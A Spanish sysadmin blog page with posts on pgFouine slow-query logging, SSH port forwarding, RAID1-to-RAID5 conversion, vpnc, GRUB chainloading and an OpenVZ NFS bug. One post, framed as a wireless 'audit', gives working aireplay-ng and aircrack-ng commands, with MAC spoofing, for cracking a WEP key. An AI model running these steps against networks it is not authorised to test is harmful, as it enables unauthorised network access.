Comprobar Querys Lentas En PosgresQl con pgFouine

enero 28, 2010 1 comentario

Situación:

Tenemos un servidor de BD Postgresql que en algunos momentos del día va muy lento y queremos saber si hay alguna query ( consulta, actualización, etc ) que tarde demasiado y está afectando al rendimiento de la BD.

Solución:

Pgfouine es una aplicación en php sencilla, que si bajamos en tarball no necesita ni siquiera instalación.

Lo que hace es revisar el log de postgresql y presentarnos en formato html las querys que superen un umbral de segundos especificado por nosotros.

Instalación:

wget http://pgfoundry.org/frs/download.php/2178/pgfouine-1.1.tar.gz

mv pgfouine-1.1.tar.gz /opt/

cd /opt

tar xvzf pgfouine-1.1.tar.gz

rm pgfouine-1.1.tar.gz

cd /opt/pgfouine-1.1/

Para poder ejecutarlo tenemos que instalar php5 y php5-cli, ya que es un script de php.

En debian/ubuntu sería:

aptitude install php5 php5-cli

Ya tenemos pgfouine instalado y listo, así de sencillo.

Ahora sólo queda configurar postgresql y syslog para que logueen de una forma que pgfouine puede entender.

Editamos el fichero /etc/postgresql/8.4/main/postgresql.conf y cambiamos o añadimos las líneas siguientes:

log_destination = ‘syslog’

redirect_stderr = off

silent_mode = on

Para loguear sólo las querys que sean más lentas de 5 seg ( en milisegundos ):

log_min_duration_statement = 5000

log_duration = off

log_statement = ‘none’

Si tenéis syslog instalado, editamos /etc/syslog.conf y añadimos la línea:

local0.*                                         -/var/log/pgsql

Si tenéis rsyslog instalado, editamos /etc/rsyslog.d/50-default.conf y añadimos la misma línea anterior:

local0.*                                         -/var/log/pgsql

De esta forma postgresql logueará en el fichero /var/log/pgsql

Informes Html:

Para que pgfouine nos saque los informes en formato html :

/opt/pgfouine-1.1/pgfouine.php -file /var/log/pgsql > pgsql.html

Para que quede bonito podéis crear un script sencillo que almacene los logs e informes por día, por ejemplo:

#!/bin/bash

mv /var/log/pgsql /var/www/logs/$(date +%d-%m-%Y)-log    #Mueve el log /var/log/pgsql  a /var/www/logs/ nombrado el archivo con la fecha de hoy
/etc/init.d/rsyslog [syslog] restart                                                                       # Reiniciamos rsyslog para que vuelva a crear el fichero /var/log/pgsql
/etc/init.d/postgresql-8.4 reload                                                                          # Recargamos postgresql para que vuelva a loguear en /var/log/pgsql
/opt/pgfouine-1.1/pgfouine.php -file /var/www/logs/$(date +%d-%m-%Y)-log > /var/www/informes/$(date +%d-%m-%Y)-log.html                   #Realizamos el informe y lo guardamos en /var/www/informes con la fecha de hoy

Nombramos logpg al script y le damos permisos de ejecución:

chmod +x logpg

Añadimos una línea a nuestro cron para ejecutar todos los días el script a las 23:00 y así tener un log e informe por día:

crontab -e

00 23 * * *    /rutadelscript/logpg

Evidentemente, no nos podemos olvidar de crear previamente los directorios /var/www/logs y /var/www/informes:

mkdir /var/www/logs

mkdir /var/www/informes

Enlaces Externos:

Categorías:SysAdmin Etiquetas: , , , , ,

Mapear Puertos Sobre SSH

Situación1:

Tenemos 3 ordenadores:

Pc-1: Nuestro ordenador de trabajo con la ip 192.168.0.100

Pc-2: Un firewall-router con la ip 192.168.0.150 y la ip 192.168.1.150

Pc-3: Un servidor web con la ip 192.168.1.200

Queremos conectarnos al servidor web Pc-3 desde nuestro ordenador Pc-1, pero tenemos el problema de que Pc-1 no tiene acceso directamente a Pc-3 por políticas de seguridad.

Pero Pc-2 sí tiene acceso a Pc-3, lo cual vamos a aprovechar.

Solución:

Lo que vamos a hacer es mediante SSH crear en Pc-1 el puerto 2000 que  apuntará a Pc-3 al puerto 80 ( web ) pasando por Pc-2.

Para ello, desde Pc-1 hacemos:

ssh -l root Pc-2 -L 2000:Pc-3:80

Vamos a comentar este comando:

ssh -l root Pc-2: Nos conectamos desde Pc-1 a Pc-2 con el usuario root de Pc-2

-L 2000:Pc-3:80: Creamos en Pc-1 el puerto 2000 que apunta al puerto 80 de Pc-3 a través de Pc-2.

Ahora abrimos el navegador web en Pc-1 y tecleamos:

localhost:2000

Nos aparece la página web de Pc-3.

Situación 2:

Tenemos la misma situación que la anterior, pero queremos que los ordenadores que están en la misma red que Pc-1 también puedan acceder al servidor web Pc-3.

Con el comando anterior:

ssh -l root Pc-2 -L 2000:Pc-3:80

No podrían conectarse, ya que crea el puerto 2000 en Pc-1 en su interfaz localhost ( 127.0.0.1 ) por lo que sólo Pc-1 puede conectarse a Pc-3 a través de ese puerto.

Solución:

La solución es crear el puerto en Pc-1 en la interfaz de su red local que tiene la ip 192.168.0.100:

ssh -l root Pc-2 -L 192.168.0.100:2000:Pc-3:80

Como vemos lo único que cambia del comando es añadir la ip 192.168.0.100 en la que crear el puerto 2000 que apunta a Pc-3 al 80.

De esta forma tanto Pc-1 como el resto de ordenadores que están en su red podrían conectarse poniendo en el navegador web la dirección:

192.168.0.100:2000

Nota: En cualquiera de las 2 situaciones se añade el plus de que las comunicaciones contra el servidor web Pc-3 se hacen de forma segura, ya que viajan a través de un túnel ssh.

Categorías:SysAdmin Etiquetas: , ,

Convertir Raid1 En Raid5 Sobre LVM Sin Perder Datos

Situación:

Tenemos un Raid1 /dev/md0 con 2 discos de 250GB /dev/sdb1 y /dev/sdc1.

Con el dispositivo /dev/md0 hemos creado un LV ( logical volume ) llamado datos, dentro de un VG ( volume group ) también llamado datos, con lo que obtenemos:

/dev/mapper/datos-datos 230G  115G  115G  50% /mnt/datos

Objetivo:

Hemos obtenido un tercer disco de 250GB /dev/sdd1 y queremos convertir el Raid1 existente en un Raid5 con los tres discos de 250GB, sin perder datos y manteniendo el LV datos.

En Marcha:

– Sobreescribimos el metadata del Raid1 con el metadata del Raid5

mdadm –create /dev/md0 –level=5 -n 2 /dev/sdb1 /dev/sdc1

– Comprobamos que hemos pasado de un Raid1 a un Raid5:

mdadm -D /dev/md0

– Añadimos el tercer disco /dev/sdd1 al array /dev/md0

mdadm –add /dev/md0 /dev/sdd1

– Comprobamos que se está realizando la reconstrucción del array, de nuevo con:

mdadm -D /dev/md0

– Una vez que ha finalizado la reconstrucción hacemos crecer el array, utilizando también un fichero de backup en caso de que se interrumpiera el proceso por alguna razón:

mdadm –grow /dev/md0 –raid-disks=3 –backup-file=/tmp/raid1to5.backup

– Esto puede tardar muchas horas, dependiendo del tamaño de los discos y de los datos que hubiera en el array.
Comprobamos periódicamente el array con:

mdadm -D /dev/md0

Y cuando haya finalizado el proceso, procedemos a redimensionar nuestro LV datos:

pvresize /dev/md0

Si el comando anterior nos da el error “too many metadata areas for pvresize” debemos hacer:

– vgcfgbackup -v -f /tmp/file datos     Dónde datos es el nombre de mi VG.
– vgchange -an datos                    Dónde datos es el nombre de mi VG.

Ahora tenemos que editar el fichero /tmp/file y buscar y copiar el UUID del pv /dev/md0 para luego utilizarlo:

– pvcreate -ff –metadatacopies 1 –restorefile /tmp/file –uuid elUUID /dev/md0
– vgcfgrestore -v -f /tmp/file datos
– pvresize /dev/md0

Ahora sólo queda extender el LV que en mi caso se llama datos, al igual que el VG.
Para extender un LV se hace dependiendo del sistema de archivos que tenga.

En mi caso uso xfs, y se extiende:

– xfs_growfs /dev/mapper/datos

Con ext3 sería:

– e2fsck -f /dev/mapper/datos
– resize2fs -p /dev/mapper/datos

Si ahora hacemos un df -h obtenemos el nuevo tamaño de nuestro LV datos:

– dev/mapper/datos-datos        465G  115G  350G  25% /mnt/datos

Listo. Parece más complicado de lo que en realidad es.

Advertencia:

Todas las veces que he realizado este proceso no he tenido ningún problema, ni he perdido ningún dato.
De todas formas siempre hago un backup de mis datos antes de jugar con mis discos duros, por lo tanto, siempre, siempre haz un backup.

Categorías:SysAdmin Etiquetas: , ,

Vpn-Cisco Linux

diciembre 17, 2009 Deja un comentario

Para realizar una conexión vpn de cisco desde una máquina linux debian, podemos usar el programa compatible vpnc:

  • aptitude install vpnc

Creamos un fichero con los datos de la conexión que nos haya dado nuestro proveedor:

  • vim proveedor

IPSec gateway  “nombre del host”
IPSec ID “id de la conexión”
IPSec secret “contraseña de la conexión”
IKE Authmode psk
Interface mode tun
NAT Traversal Mode cisco-udp
Local Port 500
Xauth username “usuario de la conexión”
Xauth password “password de la conexión”

Movemos el fichero a /etc/vpnc/

  • mv proveedor /etc/vpnc/

Iniciamos la conexión:

  • vpnc-connect proveedor

Si realiza bien la conexión nos debería aparecer una nueva interfaz de red llamada “tun0” con una ip asignada:

tun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
inet addr: 111.111.111.111  P-t-P:111.111.111.111  Mask:255.255.255.0
UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1412  Metric:1
RX packets:1893 errors:0 dropped:0 overruns:0 frame:0
TX packets:2024 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:500
RX bytes:1854138 (1.7 MiB)  TX bytes:320696 (313.1 KiB)

Categorías:SysAdmin Etiquetas: , ,

Auditoria ipw2200+injection Sin Clientes Método 1 WifiSlax-3.1

diciembre 17, 2009 Deja un comentario

RECOPILANDO INFORMACIÓN:

Mi interfaz wifi es eth1.

Vamos a wifislax-> asistencia chipset -> asistencia intel pro wireless -> recargar modulo ipw2200

Con esto nos sale una nueva interfaz rtap0.

Configuramos las interfaces eth1 y rtap0:

ifconfig eth1 up

ifconfig rtap0 up

ifconfig eth1 hw ether 00:11:22:33:44:55

Sabiendo esto ejecutamos:

airodump-ng -w captura rtap0

Anotamos el essid de la red a auditar, su bssid, el ch y relanzamos el comando para que sólo capture en esa red.

En mi caso la información que necesito es:

-interfaz wifi: eth1

-nueva interfaz wifi para inyectar: rtap0

– essid: WLAN_80

-bssid: 00:55:44:33:22:11

-mimac: 00:11:22:33:44:55

Borramos los ficheros captura* creados y relanzamos airodump-ng:

airodump-ng -c 6 -w captura –bssid 00:55:44:33:22:11 rtap0

Hacemos una asociación falsa a la red:

iwconfig eth1 essid WLAN_80 channel 6 key 6666666666666

Y ahora inyectamos:

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF -b 00:55:44:33:22:11 -h 00:11:22:33:44:55 eth1 -i rtap0

-b: bssid de la red

-h: mi mac

Esperamos a que capture algún paquete, puede tardar algunos minutos. En cuanto llegue alguno teclamos “y”  “enter”.

Empezará a inyectar, y en la shell anterior dónde tenemos corriendo el airodump-ng el valor “Data” empezará a incrementarse.

Esperamos a que alcance un valor entre 20000-30000 y ejecutamos el aircrack-ng:

aircrack-ng -z captura-2.cap

-z: le damos el fichero de captura que llamamos captura con extensión cap más grande, en mi caso sería captura-2.cap.

En unos minutos nos la clave en formato hexadecimal y ascii.

Categorías:SysAdmin Etiquetas:

Un Grub maestro, varios Esclavos

marzo 2, 2009 3 comentarios

A raíz de la entrada “Un solo Grub para todos tus Linux” del magnífico blog de FORAT, en el que explica cómo crear entradas a mano en GRUB cuando instalas varios sistemas operativos y quieres mantener el GRUB original, voy a permitirme por una vez estar en desacuerdo con él y poner por escrito aquí mi forma de hacerlo, que creo que es un poco más sencilla 😉

Y para ello voy a poner el ejemplo de Windows XP.

Cuando tenemos instalado Linux y XP en una misma máquina, lo que tenemos en el MBR es el gestor de arranque GRUB, y dentro de éste una entrada con título como por ejemplo “XP”. Si editamos esa entrada ( pulsando “e” ) desde GRUB, vemos estas líneas:

root (hd0,0)

chainloader +1

makeactive

Estas líneas lo que hacen es pasarle el control al gestor de arranque del XP, que en vez de estar en el MBR está en la partición 1, de ahí el (hd0,0).

Pues eso mismo lo podemos hacer para linux. Pongámonos en un escenario típico:

  • 1ª partición hda1 –> Windows XP ( Con su gestor de arranque en la partición hda1
  • 2ª partición hda2 –> Linux Ubuntu ( Con su gestor de arranque GRUB en el MBR, ya que es nuestro sistema operativo principal )
  • 3ª partición hda3 –> Instalaremos Debian Lenny que acaba de salir como estable y queremos probarla.

Lo que haríamos sería iniciar la instalación de Debian Lenny normalmente, y cuando nos pregunte dónde instalar el gestor de arranque GRUB le decimos que en vez de en el MBR lo haga en la misma partición dónde instalamos Debian, es decir en hda3.

Al reiniciar, cuando nos salga el GRUB vemos que sólo nos aparecen las entradas del XP y de Ubuntu. Iniciamos Ubuntu, y como root editamos el fichero /boot/grub/menu.lst , y abajo de todo tendremos algo así:

title Ubuntu jaunty (development branch), kernel 2.6.28-8-generic
root (hd0,1)
kernel /boot/vmlinuz-2.6.28-8-generic root=UUID=09dd0c85-868a-457f-a25c-0f20c1707f28 ro splash vga=794
initrd /boot/initrd.img-2.6.28-8-generic
quiet

### END DEBIAN AUTOMAGIC KERNELS LIST

# This entry automatically added by the Debian installer for a non-linux OS
title Microsoft Windows XP Professional
root (hd0,0)
savedefault
makeactive
chainloader +1

Pues justo debajo de la entra para Windows XP creamos una nueva para nuestra Debian:

title Debian Lenny

root (hd0,2)

chainloader +1

makeactive

Guardamos, y al reiniciar y cargar el GRUB del MBR que es el de Ubuntu, nos saldrán tres entradas

  • Ubuntu
  • Windows XP
  • Debian Lenny

Si pulsamos Debian Lenny lo que hace es cargarnos el GRUB de Debian de la partición hda3, pinchamos en el kernel por defecto y listo.

Yo le veo 2 ventajas a este método:

  1. Podemos instalar varios Sistemas Operativos, teniendo el GRUB del que más nos guste en el MBR, y a través de éste cargamos los GRUB de los otros Sistemas Operativos.
  2. No nos tenemos que preocupar por las actualizaciones. Si sale un nuevo kernel debian y nos actualiza el GRUB no pasa nada, nos lo hace bien. De la otra forma, tendriamos que volver a editar el menu.lst con el nuevo kernel.

Aunque todo es mejorable por supuesto. Acepto sugerencias y críticas. Criticar, criticar …

Nota: Cuando me refiero a (hd0,0) hd0 se refiere al disco 1, y 0 a la particion 1. Por eso cuando instalamos Debian Lenny en hda3, en grub es (hd0,2) hd0 –> disco 1, 2 –> partición 3).

Categorías:Linux

Openvz Bug Nfs

febrero 24, 2009 2 comentarios

buglogo-openvz

Hace un par de meses se me pidió exportar un directorio de un servidor de ficheros a un EV ( máquina virtual de openvz ) por nfs.

Lo primero que hice fué mirar en la wiki de openvz si estaba implementado, y qué pasos había que seguir.

Como podéis comprobar los pasos son sencillos, bien explicados, pero a mi no me funcionaba. Hacía todo bien, no me daba error, pero no me cargaba el sistema de ficheros nfs en el EV.

Para saber los sistemas de ficheros que soporta tu EV lo puedes ver dentro del EV editando el fichero /proc/filesystems

Al final abrí un hilo en el foro de openvz ( no os riáis de mi inglés ), y ahí dimos con un bug.

Resulta que con el kernel que estaba utilizando ( Linux openvz1 2.6.26-1-openvz-686 ) no era posible cargar el sistema de ficheros nfs en el EV, por lo que tuve que bajarme el kernel estable de openvz para que funcionase.

El problema con el kernel estable es que es un poco antiguo, y en mi caso en un Dell PowerEdge T100 no me detecta una de las dos tarjetas de red, por lo que ahora me queda por conprobar si desde hace dos meses se corrigió este bug con los nuevos kernels.

Ya os contaré.

Categorías:Linux